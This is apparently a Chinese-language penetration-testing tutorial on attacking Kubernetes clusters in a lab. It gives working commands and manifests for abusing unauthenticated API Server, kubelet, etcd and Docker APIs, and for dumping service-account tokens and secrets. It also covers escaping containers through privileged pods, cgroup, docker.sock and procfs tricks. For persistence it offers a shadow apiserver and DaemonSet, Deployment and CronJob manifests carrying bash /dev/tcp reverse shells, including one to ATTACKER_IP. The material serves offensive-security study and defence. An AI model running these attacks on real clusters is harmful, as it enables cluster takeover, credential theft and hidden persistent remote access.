Kubernetes 实际利用与分析

本文测试环境基于前文 - Kubernetes 环境搭建与基础知识搭建的k8s集群：

一个master节点：192.168.223.142
两个工作节点：192.168.223.143、192.168.223.144

对k8s集群攻击的最终目的是获取cluster-admin权限的kubeconfig 和apiserver 所在master 节点的主机权限（类比拿下域管理员账号和域控）

#用户身份认证

前面介绍k8s Dashboard 的安装时，发现Dashboard 有两种登录方式：Token 登录和证书登录。前面是创建了一个高权限的服务账户，并通过Token 的方式登录。下面通过创建普通用户和服务用户的方式，来介绍如何进行k8s的认证。

#创建高权限用户

申请证书的另一种方法

创建一个名为kim用户的证书：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#需在master 节点执行，如果不在master 节点执行可参考上面的链接：申请证书的另一种方法
#创建私钥
openssl genrsa -out kim.key 2048
#用此私钥创建一个csr(证书签名请求)文件
openssl req -new -key kim.key -subj "/CN=kim" -out kim.csr
#生成证书（需要用到k8s的私钥来签名证书）
openssl x509 -req -in kim.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out kim.crt -days 365
#为用户分配cluster-admin权限
#-n namespace 用于指定对某个命名空间的权限，如果未指定命名空间，则代表分配此权限到所有命名空间
kubectl create clusterrolebinding kim-binding --clusterrole=cluster-admin --user=kim

获取代表kim 的证书及私钥到本地，然后创建kubeconfig 文件进行后续的认证：

Tips： kubeconfig 主要由clusters、context、users 组成，可通过kubectl config view简单查看。下面的命令也都可以不添加--kubeconfig 参数，写入的内容会自动保存在$HOME/.kube/config 里，也可通过KUBECONFIG环境变量指定。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#向kubeconfig 写入证书信息
kubectl config set-credentials kim --client-certificate=./kim.crt --client-key=./kim.key --embed-certs=true --kubeconfig=./kim.kubeconfig
#在配置文件中指定api server地址。cluster.local 这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kim.kubeconfig
#在配置文件中，设置上下文，[email protected] 值随意，但前后要统一
kubectl config set-context [email protected] --cluster=cluster.local --user=kim --kubeconfig=./kim.kubeconfig
#切换上下文
kubectl config use-context [email protected] --kubeconfig=./kim.kubeconfig
#之后可使用kim.kubeconfig进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kim.kubeconfig

Tips： context中将访问一个集群的参数（集群名、用户名、命名空间等）进行分组，通过use-context来切换集群上下文，用以对多集群的访问。

从上面添加用户的流程可以看出，Kubernetes 并不保存用来代表普通用户账号的对象。使用证书进行认证时，用户的信息保存在本地配置文件中，客户端使用该配置文件进行认证。 **需要注意的是，用户的证书是k8s的私钥来签名的，并且必须为此用户添加相应的权限。**API Server校验证书后，仅检查此用户名所绑定的角色权限。

#创建服务账号

服务账号是 Kubernetes API 所管理的用户，它们被绑定到特定的命名空间。服务账号与一组以 Secret 保存的凭据相关，这些凭据会被挂载到 Pod 中，从而允许集群内的进程访问 Kubernetes API。

创建服务账号，并生成Token：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#创建服务账号
kubectl create serviceaccount kimservice
#给kimService 账号添加集群管理员权限
kubectl create clusterrolebinding kim-admin --clusterrole=cluster-admin --serviceaccount=default:kimservice
#获取服务令牌方式一（k8s高版本有效，这里测试的是1.25 版本）
#创建服务账号令牌，可添加 --duration 10m 参数设置token有效时间
kubectl create token kimservice
#获取服务令牌方式二（k8s低版本有效，这里测试的是 1.23.0版本）
#查看指定命名空间下的所有secret
kubectl get secret -n kube-system
#查询指定secret中的token
kubectl describe secret admin-user-token-8mcdk -n kube-system
#或直接一条命令查询admin-user用户的token
kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/admin-user/{print $1}')

本地生成kubeconfig文件，进行认证：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#将token写入到文件
kubectl --kubeconfig=./kimservice.conf config set-credentials kim-user --token=eyJhbGciOiJSUzI1NiIsImtpZCI6I...
#在配置文件中指定api server地址。cluster.local 这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./kimservice.conf
#在配置文件中，设置上下文，[email protected] 值随意，但前后要统一
kubectl config set-context [email protected] --cluster=cluster.local --user=kimservice --kubeconfig=./kimservice.conf
#切换上下文
kubectl config use-context [email protected] --kubeconfig=./kimservice.conf
#之后可使用kimservice.conf进行正常的kubectl命名了
kubectl get pods --kubeconfig=./kimservice.conf

#或直接一条命令
kubectl --insecure-skip-tls-verify -s https://192.168.223.142:6443/ --token="xxxxxx" get nodes

查询账号权限（用户账号以及服务账号）

通过角色绑定关系来查询：kubectl describe -A clusterrolebindings,rolebindings |grep 用户名

kubectl 命令后添加-v=10 参数，可以显示kubectl 向api server 发送请求的详细信息。

#资产发现

k8s常见端口：443,2375,2379,2380,4194,6666,6443,8443,8080,8081,10250,10252,10255,4149,9443,9444 以及30000 以上的Dashboard 端口。 kube-hunter 可以远程扫描，也可以在容器里扫描。

#未授权访问

#API Server 未授权访问

API Server 可以在两个端口上提供对外服务：8080（insecure-port）和6443（secure-port），其中8080端口提供HTTP服务且无需身份认证，一般未启用。（这两个端口不固定，都可通过配置文件修改）

可在 /etc/kubernets/manifests/kube-apiserver.yaml 配置 --insecure-port=8080 来启用8080端口，但在1.20版本后无效。

不带任何凭据直接访问6443端口，会被默认以system:anonymous 用户权限访问，提示拒绝。另一种未授权场景是，如果将annoymous 用户与集群管理员cluster-admin角色绑定。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问就能看到内容：（实际环境中，访问此端口出现如下内容那就是存在未授权）

写入用户名密码、API Server 服务器地址、上下文信息到config文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#这里账号密码随意
kubectl config set-credentials anonymous --username=anonymous --password=anonymous --kubeconfig=./anonymous.kubeconfig
#设置API Server地址，cluster.local这个值随意，但前后要统一
kubectl config set-cluster cluster.local --server=https://192.168.223.142:6443/  --insecure-skip-tls-verify --kubeconfig=./anonymous.kubeconfig
#在配置文件中，设置上下文，[email protected] 值随意，但前后要统一
kubectl config set-context [email protected] --cluster=cluster.local --user=anonymous --kubeconfig=./anonymous.kubeconfig
#切换上下文
kubectl config use-context [email protected] --kubeconfig=./anonymous.kubeconfig
#正常匿名访问了
kubectl get pods --kubeconfig=./anonymous.kubeconfig

#或直接一行命令，只是需要每次都输入密码，随便输就好了
kubectl -s https://192.168.223.142:6443/ --insecure-skip-tls-verify=true get nodes

不使用kubectl命令，也可直接请求 restful API，例如：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#查看kube-ystem命名空间下的token
https://192.168.223.142:6443/api/v1/namespaces/kube-system/secrets/

#查看pods
https://192.168.223.142:6443/api/v1/namespaces/default/pods?limit=500

#创建特权容器
https://192.168.223.142:6443/api/v1/namespaces/default/pods/test
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#执行命令
https://192.168.223.142:6443/api/v1/namespace/default/pods/test/exec?command=whoami

#kubelet 未授权访问

每个工作节点（Node）都有一个kubelet 服务，kubelet 监听了10250、10248、10255等端口。

kubelet是在Node上用于管理本机Pod的，kubectl是用于管理集群的。kubectl向集群下达指令，Node上的kubelet收到指令后以此来管理本机Pod。

一般情况10250开在节点IP上的，而10248开在localhost。

正常访问是没有权限的

手动允许anonymous 访问，查看服务中的kubelet 配置文件位置

service kubelet status -l

将/etc/kubernetes/kubelet-config.yaml anonymous修改为True。再次访问下载kubeletctl

查看Pods： ./kubeletctl_linux_amd64 pods -s 192.168.223.143 --port 10250

通过上图知道$namespace、$POD、$CONTAINERS 后，就能在容器里执行命令：

curl -k https://192.168.223.143:10250/run/default/netchecker-agent-j9fm6/netchecker-agent -d "cmd=ls /var/run/secrets/kubernetes.io/serviceaccount/" --insecure 此目录下保存了容器的服务账户的证书、命名空间和token，查看容器中服务账号的Token：cat /var/run/secrets/kubernetes.io/serviceaccount/token

然后可利用此token生成config，根据具体的权限进行利用。

#etcd 未授权访问

etcd 服务默认监听了2379 端口，etcd 若存在未授权，攻击者导出全量etcd配置，可获取存储的各种服务的账号密码、公私钥、服务token等敏感数据。

正常情况修改/etc/etcd.env 注释掉TLS 相关内容，将https改为http。

再次访问出现如下界面，代表存在未授权。

下载 etcd

遍历所有的key: ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only --limit=10

如果服务器启用了https，添加 --insecure-transport=false --insecure-skip-tls-verify 参数来忽略证书校验

通过v3 API来dump数据库到 output.data。

1

ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --endpoints=http://192.168.223.142:2379/ get {} >> output.data && echo "" >> output.data'

在文件中寻找token: 关键字，再使用token生成config文件进行利用。

或者在线查询

1
2


etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

#Docker Remote API 未授权访问

Docker以 C/S模式工作，其中 docker daemon服务在后台运行，负责管理容器的创建、运行和停止操作。

在Linux主机上，docker daemon监听在/var/run/docker.sock中创建的unix socket，2375 端口用于未认证的 HTTP 通信，2376 用于可信 HTTPS 通信。

当docker 配置了Restful api，那么可以通过HTTP 管理docker。

在/usr/lib/systemd/system/docker.service 添加 -H tcp://0.0.0.0:2375

访问2375端口如下，说明存在未授权访问。

通过API 查看运行的主机：

docker -H tcp://192.168.223.139:2375 ps 获取主机权限：可以利用Docker API在远程主机上创建一个特权容器，并且挂载主机根目录到容器，对主机进行进一步的渗透。

docker -H 192.168.223.139:2375 run --rm -it --privileged --net=host -v /:/mnt busybox

如下图，成功获取宿主机权限

#容器逃逸

本质上容器内的进程只是一个受限的普通宿主机进程，容器内部进程的所有行为对于宿主机来说是透明的。容器逃逸的本质和硬件虚拟化逃逸的本质有很大的不同，容器逃逸的过程是一个受限进程获取未受限的完整权限，又或某个原本受 Cgroup/Namespace 限制权限的进程获取更多权限的操作，更趋近于提权。

场景：通过web 打下一个k8s集群中的pod，如何利用此pod逃逸到pod所在的宿主机（即工作节点）？

#容器内信息搜集

cat /proc/1/cgroup 有kubepods 说明在k8s容器中，如果显示是docker，那就是在docker 容器中。（也可以依据env 判断）
cat /proc/1/status |grep Cap 查看当前容器的Capabilities 信息（有无特权） capsh --decode=00000000a80425fb
mount 查询挂载的磁盘
cat /proc/1/mountinfo |grep lxcfs 查看是否挂载了lxcfs，可进行后续利用。

#利用高权限服务账号

前提： 要求serviceaccount 具有创建容器（POD）的权限。

上传 kubectl 到目标（也可不上传，cat /var/run/secrets/kubernetes.io/serviceaccount/token 获得token，在本地生成config文件，挂代理进行利用）

执行./kubectl auth can-i create pod 如果返回yes，并且可以执行exec，那么可以进行逃逸。（这里主要是利用起这个pod的服务账号有创建pod和exec的权限）

这里为了测试给该容器的服务账号添加create pod和exec权限。

kubectl create clusterrole "netchecker-server" --verb=get,list,create --resource=pods,pods/exec

再次查看权限：

通过ymal 创建一个特权容器，挂载宿主机的根目录到容器的/myPath 目录。

创建Pod：./kubectl create -f 1.ymal

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


apiVersion: v1
kind: Pod
metadata:
  name: api-server
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: api-server
    image: alpine
    imagePullPolicy: IfNotPresent
    command: ["bin/sh","-c","tail -f /dev/null"]
    volumeMounts:
       - name: hostsvolume
         mountPath: /myPath
    securityContext:
       privileged: true
  nodeName: master #在指定节点上安装容器，可用于逃逸指定节点
  volumes:
  - name: hostsvolume
    hostPath:
     path: /

Tips1： 如果kubectl describe nodes master 查看主节点发现配置了 Taints: node.kubernetes.io/unschedulable:NoSchedule ，那么创建pod时，需要在spec下添加如下配置：

1
2
3
4


tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule

Tips2： 可以不落ymal文件的方式创建：

1
2
3


cat << EOF | kubectl apply -f -
# {YAML文件内容}
EOF

然后可以直接chroot /myPath bash 获取宿主机权限。

拿到master 机器权限，可以保存/etc/kubernetes/admin.conf 文件内容到本地，此为集群管理员权限的config，来控制集群所有pods。

或者保存ca证书到本地用作认证：

1

kubectl -s https://192.168.223.142:6443/ --certificate-authority=/etc/kubernetes/pki/ca.crt get nodes

Tips：如果机器出网的话，其实这里不需要有exec 权限，创建容器时可以直接反弹shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


apiVersion: v1
kind: Pod
metadata:
  name: api-server2
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: api-server2
    image: bash
    imagePullPolicy: IfNotPresent
    command: ["bash"]
    args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
    volumeMounts:
       - name: hostsvolume
         mountPath: /myPath
    securityContext:
       privileged: true
  nodeName: master
  volumes:
  - name: hostsvolume
    hostPath:
     path: /

#利用 LXCFS

Cgroup 实现了对容器（进程）资源的限制，但是在容器内部依然缺省挂载了宿主机的procfs的/proc目录，其中包含：meminfo、cpuinfo、stat、uptime等资源信息。一些监控工具如 free、top 会依赖上述文件获取资源配置和使用情况。这就导致了虽然cgroup 对容器资源做了限制，但是当进入到容器当中通过 free、top 等命令查看cpu内存信息的时候看到的是整个宿主机的cpu 内存。

LXCFS 是一个小型 FUSE 文件系统，使得Linux容器的文件系统更像虚拟机。启动以后会在指定目录中维护 /proc目录中的文件同名的文件，从而保证容器读取数据时读取到lxcfs维护的/proc文件中状态数据。也就是说lxcfs 可以使容器中类似如 free、top 获取到的资源配置和使用情况是容器自身的。

环境搭建：

宿主机安装 https://github.com/lxc/lxcfs，并创建容器挂载lxcfs所在的/var目录。

1
2
3
4
5
6
7
8
9


python3 -m pip install meson jinja2 ninja
git clone git://github.com/lxc/lxcfs
cd lxcfs
meson setup -Dinit-script=systemd --prefix=/usr build/
meson compile -C build/
sudo meson install -C build/
#运行 lxcfs
mkdir -p /var/lib/lxcfs
lxcfs /var/lib/lxcfs

创建容器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


apiVersion: v1
kind: Pod
metadata:
  name: lxcfs-rw
spec:
  containers:
  - name: lxcfs-rw-5
    image: nginx
    command: ["sleep"]
    args: ["infinity"]
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - mountPath: /mydata
        mountPropagation: HostToContainer
        name: test-data
  nodeName: master
  volumes:
  - name: test-data
    hostPath:
      path: /var
      type: ""

判断当前容器是否使用了lxcfs

cat /proc/1/mountinfo |grep lxcfs ls -l /mydata/lib/lxcfs
/mydata/lib/lxcfs路径下会绑定当前容器的 devices subsystem cgroup，且在容器内有权限对该 devices subsystem 进行修改。

echo a > devices.allow修改当前容器的设备访问权限，以此在容器内可以访问所有类型的设备。

/etc/hosts、/dev/termination-log、/etc/resolv.conf、/etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的，所以在它们的挂载信息内可以获得主设备号 ID。

cat /proc/self/mountinfo|grep /etc

1
2
3
4
5


#使用mknod创建相应的设备文件目录并使用debugfs进行访问，此时就有了读写宿主机任意文件的权限。
#这里的8 3就是上图的主设备号ID
mknod mknod_near b 8 3
#挂载
debugfs -w mknod_near

debugfs 主要用来对ext2/ext3/ext4文件系统进行调试，可以用来恢复文件。

注：如上图，注意这里的宿主机是Centos7 ，它的文件系统类型是xfs，不适用于debugfs命令，这里无法利用。（Centos 7 开始默认文件系统是xfs，Centos6是ext4，Centos5是ext3。所以Centos 7的宿主机不支持这种方法）

这里借用了一张成功的图：

CDK 也有此利用的模块。

#利用特权容器

通过fdisk -l 判断是否在特权容器内，如果不在特权容器内此命令没有回显，当然目标上也不一定有这个命令（可上传CDK，通过cdk evaluate 获取）。

当容器为 privileged、sys_admin 等特殊配置时，可使用以下方法进行逃逸。（在容器内 CAPABILITIES sys_admin 其实是 privileged 的子集)

方法一：CDK

其实就是挂载设备到容器的指定目录。（mount /dev/sda3 /tmp/aaa）

./cdk run mount-disk

然后可以写ssh 公钥、计划任务、/root/.bashrc等文件来获取宿主机权限。

方法二：CDK （可直接执行命令）

将宿主机cgroup目录挂载到容器内，随后劫持宿主机cgroup的release_agent文件，通过linux cgroup notify_on_release机制触发命令执行，完成逃逸。

./cdk_linux_amd64 run mount-cgroup "ip a"

方法三：CDK

结合lxcfs利用的思路，挂载cgroup到指定目录。

./cdk run rewrite-cgroup-devices

1
2
3
4
5


#手动利用
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
#后续利用和上面lxcfs部分相同了，cgroup 已经挂载到了/tmp/dev/
#当前容器的cgroup的devices.allow 路径可结合cat /proc/1/cgroup 进行查找

#利用 docker.sock

当宿主机的 /var/run/docker.sock 被挂载容器内的时候，容器内就可以通过 docker.sock 在宿主机里创建任意配置（权限）的容器。一般来说docker.sock 是存在于docker daemon服务端的，但如果开发人员想在docker容器里运行docker命令，就会把宿主机的docker.sock挂载到容器内部。

1
2
3
4
5
6
7
8
9



#查看容器
curl -s --unix-socket /var/run/docker.sock "http://docker_daemon_ip/containers/json"

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
#创建特权容器（后续可逃逸至宿主机）
docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest

#利用 /PROC 目录的挂载

主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件，让我们可以逃逸并在外部执行命令。

CDK 有此实现。

cdk run mount-procfs <proc-dir> "<shell-cmd>"

#利用 SYS_PTRACE 权限

当创建 docker 容器时，设置--cap-add=SYS_PTRACE 或创建 k8s 容器时，设置 securityContext.capabilities为 SYS_PTRACE 时，可能导致容器逃逸。拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具。

存在SYS_PTRACE权限，并且挂载宿主机的PID空间时，可以通过strace 抓取宿主机ssh密码。创建这种权限的容器也可以较好的绕过HIDS或k8s安全策略的限制。

CDK 有检查此权限的模块。

#CVE 提权

漏洞分析

Docker 逃逸：CVE-2019-5736、CVE-2019-14271、CVE-2020-15257

k8s提权到接管集群：CVE-2018-1002105、CVE-2020-8558

某些逃逸漏洞在CDK 中有实现。

#权限维持

部署 shadow apiserver

shadow apiserver 具有和集群中现有的apiserver 一致的功能，同时开启了全部K8s管理权限，接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


#不在容器中执行
#指定api server的地址
export KUBERNETES_SERVICE_HOST="192.168.223.142"
export KUBERNETES_SERVICE_PORT="6443"
#./admin_token 为token所在的路径
./cdk run k8s-shadow-apiserver ./admin_token
#在容器中执行
./cdk run k8s-shadow-apiserver default

#cdk将在配置文件中添加以下选项：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
...

利用 DaemonSet/Deployment

DaemonSet 能够确保全部（或某些）节点上运行一个Pod 的副本。当有节点加入集群时，也会为它们新增一个Pod；当有节点从集群移除时，这些Pod也会被回收。如果DaemonSet 监测到Pod退出，也将自动在相同节点上重建一个新Pod。

如果利用管理员凭证在目标集群内创建一个内容为反弹shell的DaemonSet，就能够实现集群所有节点自动化反弹shell（通过创建特权Pod）。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: kube-api-self
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: kube-api-self
  template:
    metadata:
      labels:
        app: kube-api-self
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: main
        image: bash
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

Deployment 也是确保在任何时候都有特定数量的Pod副本处于运行状态，容器被删除后会自动创建恢复容器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

1
2
3
4


#进行部署
kubectl create -f 1.ymal
#删除部署
kubectl delete -f 1.ymal

CronJob 持久化

kubectl get CronJob 查看定时任务

CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。

CDK 也可以一键部署

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: nginx
            imagePullPolicy: IfNotPresent
            command:
            - /bin/bash
            - -c
            - "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"
          restartPolicy: Always#也可以利用在普通pods当中，始终重启

也可以为普通pod增加restartPolicy: Always，能够达到CronJob的效果。

StaticPod

静态 Pod 在指定的节点上由 kubelet 守护进程直接管理，不需要 API 服务器监管。kubelet 监视每个静态 Pod（在它失败之后重新启动）。
k0otkit

k0otkit 可以快速、隐蔽和连续的方式控制目标 Kubernetes 集群中的所有节点。

更多技巧，反弹至msf、容器镜像等问题，参考：K0OTKIT：HACK K8S IN A K8S WAY。

Kubernetes 实际利用与分析

相关文章：